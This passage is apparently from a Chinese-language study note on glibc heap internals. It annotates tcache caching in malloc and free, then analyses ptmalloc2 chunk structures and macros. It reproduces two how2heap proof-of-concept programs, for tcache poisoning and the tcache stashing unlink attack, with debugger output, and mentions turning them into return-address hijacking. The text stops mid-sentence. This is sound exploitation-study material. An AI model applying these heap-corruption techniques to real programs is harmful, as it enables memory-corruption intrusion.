victim = *fb;

if (victim != NULL)
{
if (SINGLE_THREAD_P)//单线程的情况
*fb = victim->fd;
else//多线程的情况
REMOVE_FB(fb, pp, victim);//首先拿出一个堆块来
if (__glibc_likely(victim != NULL))
{
size_t victim_idx = fastbin_index(chunksize(victim));
if (__builtin_expect(victim_idx != idx, 0))
malloc_printerr("malloc(): memory corruption (fast)");
check_remalloced_chunk(av, victim, nb);
#if USE_TCACHE //已经拿出了一个符合要求的堆块,剩余的堆块放到tcache中缓存(直到tcache满),如果tcache满了就不再往里塞了
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB(fb, pp, tc_victim);
if (__glibc_unlikely(tc_victim == NULL))
break;
}
tcache_put(tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}

对smallbin的缓存

smallbin的分配规则

1
2
3
如果对应smallbin中有至少一个堆块,把他拿下来放到victim上
该smallbin桶子中剩余的堆块放到对应tcache上,直到放满7个
最后返回victim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
  if (in_smallbin_range(nb))
{
idx = smallbin_index(nb);
bin = bin_at(av, idx);

if ((victim = last(bin)) != bin)//首先取出一个last(bin)堆块来给victim
{
bck = victim->bk;
if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck;//将victim从链上摘下来
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena(victim);
check_malloced_chunk(av, victim, nb);
#if USE_TCACHE //本桶子中剩余的堆块塞进tcache,塞满7个为止,多余的仍在smallbin中放着
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset(tc_victim, nb);
if (av != &main_arena)
set_non_main_arena(tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put(tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}

对unsortedbin的缓存

对unsortedbin的缓存算法是这样的:

1
2
3
4
5
6
7
8
拿出一个victim,如果是last_remainder,并且大小合适,则直接从其上进行分割然后 返回,不会进行缓存
否则
如果victim大小正好满足要求,不急着返回,而是首先尝试将其放到tcache中缓存
如果tcache有空位置则放进去,然后tcache_nb置1表明至少tcache中有一个适配堆块
如果tcache没有位置则直接 返回
如果victim大小不满足要求,则根据其大小放到smallbin或者largebin
如果tcache_nb标志为1,并且在unsortedbin中转了足够多圈了,从tcache_nb 返回
否则重新循环
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
    while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))//每次拿出一个堆块交给victim
{
bck = victim->bk;
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr("malloc(): memory corruption");
size = chunksize(victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long)(size) > (unsigned long)(nb + MINSIZE))
{//如果是last_remainder则直接分配,此时不会再进行tcache缓存,推测原因是last_remainder刚用过,还在内存中,命中概率大
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks(av);
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
//不是last_remainder
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;//把victim拆下来
bck->fd = unsorted_chunks(av);

/* Take now instead of binning if exact fit */

if (size == nb)//如果当前堆块的大小符合要求,不会立刻分配,首先应该放到tcache中
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
set_non_main_arena(victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put(victim, tc_idx);
return_cached = 1;//记录至少有一个堆块放到了tcache,待会儿就可以从tcache中拿堆块了
continue; //continue直接跳到while一开始拿下一个堆块了
}
else//直到对应tcache存满了才会直接进行分配
{
#endif
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
#if USE_TCACHE
}
#endif
}
//到此说明victim既不是last_remainder,大小也不是正合适
/* place chunk in bin */

if (in_smallbin_range(size))//如果victim是smallbin范围的
{
victim_index = smallbin_index(size);//放进smallbin
bck = bin_at(av, victim_index);
fwd = bck->fd;
}
else//否则说明是largebin中的,放到largebin,不会进入smallbin
{
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert(chunk_main_arena(bck->bk));
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert(chunk_main_arena(fwd));
while ((unsigned long)size < chunksize_nomask(fwd))
{
fwd = fwd->fd_nextsize;
assert(chunk_main_arena(fwd));
}

if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;//unsortedbin中最大可以容忍的缓存次数
if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get(tc_idx);
}//结算阶段,如果return_cached是正合适大小的堆块入tcache的标记,如果被置1说明至少能从tcache中找到一个合适的堆块
#endif

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;//unsortedbin这里的循环最多10000次
}

跳出unsortedbin循环,再检查一次tcache中是否有合适堆块

1
2
3
4
5
6
7
8

#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
{
return tcache_get(tc_idx);
}
#endif

后面使用largebin和topchunk进行分配时不会有tcache的缓存使用了

int_free

释放时的tcache操作很简单,只在int_free中有一个

1
2
3
4
5
6
7
8
9
10
11
#if USE_TCACHE
{
size_t tc_idx = csize2tidx(size);

if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put(p, tc_idx);
return;
}
}
#endif

如果这堆块的大小在tcache的管理范围内,那么在一切释放工作开始之前,首先尝试将这个堆块放到tcache中

如果缓存则直接返回

how2heap

tcache_poisoning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)&stack_var == (long)c);
return 0;
}

两个malloc然后两个free之后,两个堆块就放到tcache中了

如果没有tcache,这俩都应该放在fastbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x8403000
Size: 0x251

Free chunk (tcache) | PREV_INUSE
Addr: 0x8403250
Size: 0x91
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x84032e0
Size: 0x91
fd: 0x8403260

Top chunk | PREV_INUSE
Addr: 0x8403370
Size: 0x20c91

pwndbg> tcache
{
counts = "\000\000\000\000\000\000\000\002", '\000' <repeats 55 times>,
entries = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x84032f0, 0x0 <repeats 56 times>}
}
pwndbg> tcachebin
tcachebins
0x90 [ 2]: 0x84032f0 —▸ 0x8403260 ◂— 0x0
1
2
3
flowchart LR
t["tcachebin[idx]"]---->b["b@0x84032f0"]---->a["a@0x8403260"]---->null

此时b[0]就是其指向a的next指针,直接修改b[0]就可以玩坏tcache

1
2
3
pwndbg> tcachebins
tcachebins
0x90 [ 2]: 0x84032f0 —▸ 0x7ffffffedde8 ◂— 0x0

这就把栈上的stack_var@0x0x7ffffffedde8连接到tcache上了

下一次分配会拿走b

1
2
3
flowchart LR
t["tcachebin[idx]"]---->stack_var["stack_var@0x0x7ffffffedde8"]---->null

再下一次分配c就会拿走stack_var

也就是说c指向0x0x7ffffffedde8这个地址

1
2
pwndbg> p c
$1 = (intptr_t *) 0x7ffffffedde8

如果我们把b[0] = (intptr_t)&stack_var;

改成b[0] = (intptr_t)&rip;也就是篡改了函数返回地址

然后就可以通过c[0]=&vuln_func进行ROP攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);// size > 0x90

//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}

首先顺序分配9个堆块

1
2
3
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

然后把[3,8]这六个放到tcache中

1
2
3
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

然后将1放到tcache中

1
free(chunk_lis[1]);

此时tcache中的结构

1
2
flowchart LR
t["tcache[idx]"]---->1---->8---->7---->6---->5---->4---->3

然后将0和2先后放到unsortedbin上

1
2
free(chunk_lis[0]);
free(chunk_lis[2]);
1
2
flowchart LR
unsortedbin<---->2<---->1

然后分配一个0xa0大小的堆块,显然所有0x90的堆块都不合适,需要到topchunk上切割新的,但是对这个0xa0的分配过程中,会让unsortedbin中的堆块分类

1
2
flowchart LR
smallbin["smallbin[idx]"]<---->1<---->2

然后分配两个0x90,这次命中tcache

1
2
flowchart LR
t["tcache[idx]"]---->5---->4---->3

然后篡改位于smallbin中的2号堆块的bk指针,改成stack_var的地址

1
chunk_lis[2][1] = (unsigned long)stack_var;
1
2
flowchart LR
smallbin["smallbin[idx]"]<---->1<---->2---->stack_var

然后calloc(1,0x90)会绕过lib_malloc,直接调用int_malloc,这就绕过了tcache分配,使用smallbin分配,把1号堆块从smallbin上卸下来,然后将2和伪造的stack_var假堆块放到tcache中

1
2
flowchart LR
t["tcache[idx]"]---->stack_var---->2---->5---->4---->3

此时再分配target = malloc(0x90);就是在libc_malloc中使用tcache进行分配

target拿到的就是一个栈地址了

1
2
3
4
pwndbg> p &stack_var
$3 = (unsigned long (*)[16]) 0x7fffffffd2e0
pwndbg> p target
$4 = (unsigned long *) 0x7fffffffd2f0

Dive Into Ptmalloc2

基于glibc2.23的ptmalloc2源码分析

datastructure

malloc_chunk

堆空间管理的最小单元

每个堆块由元数据和数据两部分组成

元数据记录了该堆块的物理前块大小,本块大小,分配区,前块使用,是否mmap块状态,以及空闲状态下的前驱后继指针

数据就是返回给用户的可用空间

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

字段意义

prev_size

如果物理上紧挨着的一个chunk空闲的话,则该值为物理上前面紧挨着的那个chunk的大小.

如果物理上紧挨着的一个chunk占用的话,则该值可以被物理上紧挨着的那个chunk使用(空间复用)

size

本chunk的大小,包括chunk头和chunk数据

其中chunk头就是malloc_chunk结构体,chunk数据就是返回给用户使用的内存空间

每个chunk的大小都必须是2*SIZE_SZ整数倍

32位系统中size_sz=4,64位系统中size_sz=8

因此32位系统上chunk大小是8的倍数,64位上chunk是16的倍数

诚如是,则size的低3位永远用不到,为了节省空间,ptmalloc的实现中,这三个低位表示三个符号A,M,P

fd,bk

当本chunk空闲并且挂在bin上,此时fd,bk分别是前向和后向chunk的指针,相当于双向链表.

注意是逻辑上相邻,也就是链表相连,不是物理上相邻

fd_nextsize,bk_nextsize

当chunk空闲并且挂在large bin中时,用于查找最近匹配的空闲chunk

怎么个用法呢?

large bin中挂着的chunk是按照大小排序的,一个chunk逻辑上相连的chunk可能大小相同,也可能不同,fd_nextsize,bk_nextsize就指向第一个大小不同的chunk

这样说比较抽象,具体见后面的largebin结构

空间复用

分配时状态
1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
空闲时状态
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

宏定义

指针转换
1
2
3
/* conversion from malloc headers to user pointers, and back */
#define chunk2mem(p) ((void *) ((char *) (p) + 2 * SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char *) (mem) -2 * SIZE_SZ))

mem就是数据区,chunk就是malloc_chunk的基地址,两者的关系在图上表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

显然mem网上数两个成员就是chunk,这两个成员都是INTERNAL_SIZE_T类型的,在32位平台上分别长4字节,在64位平台上分别长8字节

最小chunk大小
1
2
/* The smallest possible chunk */
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))

offsetof(struct,struct.member);作用是计算member成员在其所在的结构体struct中的偏移量

这表明最小的chunk至少要包含前四个成员,prev_size,size,fd,bk,后面两个可以没有

最小申请的堆内存大小
1
2
3
4
5
/* The smallest size we can malloc is an aligned minimal chunk */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define MINSIZE \
(unsigned long) (((MIN_CHUNK_SIZE + MALLOC_ALIGN_MASK) & \
~MALLOC_ALIGN_MASK))
检查对齐
1
2
3
4
5
6
7
/* Check if m has acceptable alignment */
// MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define aligned_OK(m) (((unsigned long) (m) & MALLOC_ALIGN_MASK) == 0)

#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == 2 * SIZE_SZ ? (p) : chunk2mem(p)) & \
MALLOC_ALIGN_MASK)
判断用户请求是否离谱
1
2
3
4
5
6
7
8
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/

#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
规范化请求大小
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \//如果用户请求的太小则直接用MINSIZE
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)//否则向上取整到满足对齐要求

/* Same, except also perform argument check */

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);
设置size最低三位标志位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1

/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)

/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2

/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4

/* Check for chunk from main arena. */
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)

/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)

/*
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
获取本chunk size
1
2
3
4
5
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)

如果想要获得纯真的size,最低三位应该忽略标志位的影响,因此chunksize中用SIZE_BITS取反得到第三位全是0然后按位与,确保获得的size低三位必为0

而chunksize_nomask就没有忽略,相当于直接区的malloc_struct的第二个成员

使用状态
1
2
3
4
5
6
7
8
9
10
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size |= PREV_INUSE

#define clear_inuse(p) \
((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size &= ~(PREV_INUSE)
size大小
1
2
3
4
5
6
7
8
9
10
11
/* Set size at head, without disturbing its use bit */
// SIZE_BITS = 7
#define set_head_size(p, s) \
((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))

/* Set size/use field */
#define set_head(p, s) ((p)->mchunk_size = (s))

/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) \
(((mchunkptr)((char *) (p) + (s)))->mchunk_prev_size = (s))

这里set_foot干了啥?

p是chunk指针,s是该chunk的大小,p+s就指向了本chunk的结尾,

也就是下一个chunk的基地址,也就是下一个chunk的prev_size成员,

于是p+s强转为一个malloc_chunk类型指针,

然后取其第一个成员也就是prev_size,写上本chunk的大小

指定偏移处认为是一个chunk
1
2
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

p指针加上s偏移量的地址视为一个chunk的基地址,返回一个malloc_chunk*指针

malloc_state

分配区结构,一个进程只能有一个主分配区,可以可以有多个非主分配区

当某个线程试图用malloc动态申请内存时,会首先对一个分配区上锁,如果主分配区忙则沿着malloc_state->next寻找下一个分配区,直到找到一个闲的分配区上锁使用.如果转一圈没发现闲的分配区则创建新的非主分配区,然后将其加入到这个分配区环状链表中上锁使用.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct malloc_state {
/* Serialize access. */
mutex_t mutex;//互斥锁,保证临界区只有一个线程访问

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbins[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;
...
};

其中管理堆块的手段有fastbin,topchunk,unsortedbin,smallbins,largebins这么几种

只考虑单线程的情况,也就是说不会产生非主分配区,只使用主分配区

最初只有很大一块topchunk,刚开始的malloc申请都是直接在malloc上切割使用

free释放时,如果对应堆块落在fastbin范围内则放到fastbin对应的链表中

否则一律放到unsortedbin中,等后面再次malloc时切割或者合并或者分拣

fastbins

只会使用fd指针的单向链表

1
2
3
flowchart LR
A["fastbin[x]"]
A--fd-->a--fd-->b--fd-->c
max_fast
1
2
3
4
5
6
7
8
9
10
#define set_max_fast(s) \
global_max_fast = (((s) == 0) \
? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast

static INTERNAL_SIZE_T global_max_fast;

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MALLOC_ALIGNMENT (2 *SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 *SIZE_SZ)

对于x64平台,SIZE_SZ=8,

